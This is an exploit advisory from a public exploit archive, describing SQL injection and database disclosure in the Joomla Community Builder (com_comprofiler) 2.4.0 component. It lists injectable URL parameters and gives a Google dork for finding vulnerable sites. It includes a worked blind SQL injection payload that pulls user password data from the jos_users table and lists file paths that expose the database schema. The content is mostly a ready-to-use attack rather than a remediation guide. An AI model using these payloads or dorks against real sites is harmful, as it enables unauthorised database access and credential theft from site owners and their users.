Joomla ComProfiler Community Builder component version 2.4.0 suffers from database disclosure and remote SQL injection vulnerabilities.
0ac3e47aa4bb7927ec878c1efb8d6203
####################################################################
# Exploit Title : Joomla ComProfiler Community Builder Components 2.4.0 SQL Injection / Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 03/02/2019
# Vendor Homepage : joomlapolis.com
# Software Download Link : joomlapolis.com/downloads
# Software Information Link : extensions.joomla.org/extension/community-builder/
# Software Version : 2.4.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_comprofiler''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-200 [ Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description about Software :
***************************
Community Builder ComProfiler is an extremely flexible and robust social networking solution for Joomla.
####################################################################
# Impact :
***********
* Joomla ComProfiler Community Builder 2.4.0 component for Joomla is prone to an
SQL-injection vulnerability because it fails to sufficiently sanitize
user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application
and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
* This Software prone to an information exposure/database disclosure vulnerability.
Successful exploits of this issue may allow an attacker to obtain sensitive
information by downloading the full contents of the application's database.
* Any remote user may download the database files and gain access
to sensitive information including unencrypted authentication credentials.
####################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_comprofiler&task=[SQL Injection]
/index.php?option=com_comprofiler&task=usersList&Itemid=[SQL Injection]
/index.php?option=com_comprofiler&task=userProfile&user=[SQL Injection]
/index.php?option=com_comprofiler&view=login&Itemid=[SQL Injection]
/index.php?option=com_comprofiler&task=userProfile&user=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_comprofiler&task=usersList&listid=[ID-NUMBER]&Itemid=[ID-NUMBER]&limitstart=[SQL Injection]
/index.php?option=com_comprofiler&task=pluginclass&plugin=cb.facebookconnect&action=facebookconnect&func=session&Itemid=&format=[SQL Injection]
/index.php?option=com_comprofiler&task=fieldclass&function=checkvalue&user=[ID-NUMBER]&reason=register&format=raw&field=[SQL Injection]
# Example Exploit Payload :
************************
/index.php?option=com_comprofiler&task=userProfile&user=1/**/and/**/mid
((select/**/password/**/from/**/jos_users/**/limit/**/0,1),1,1)/**/</**/Char(97)/*
# Database Disclosure Exploit :
**************************
/administrator/components/com_comprofiler/install.comprofiler.sql
/administrator/components/com_comprofiler/database/database.cbcore.xml
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################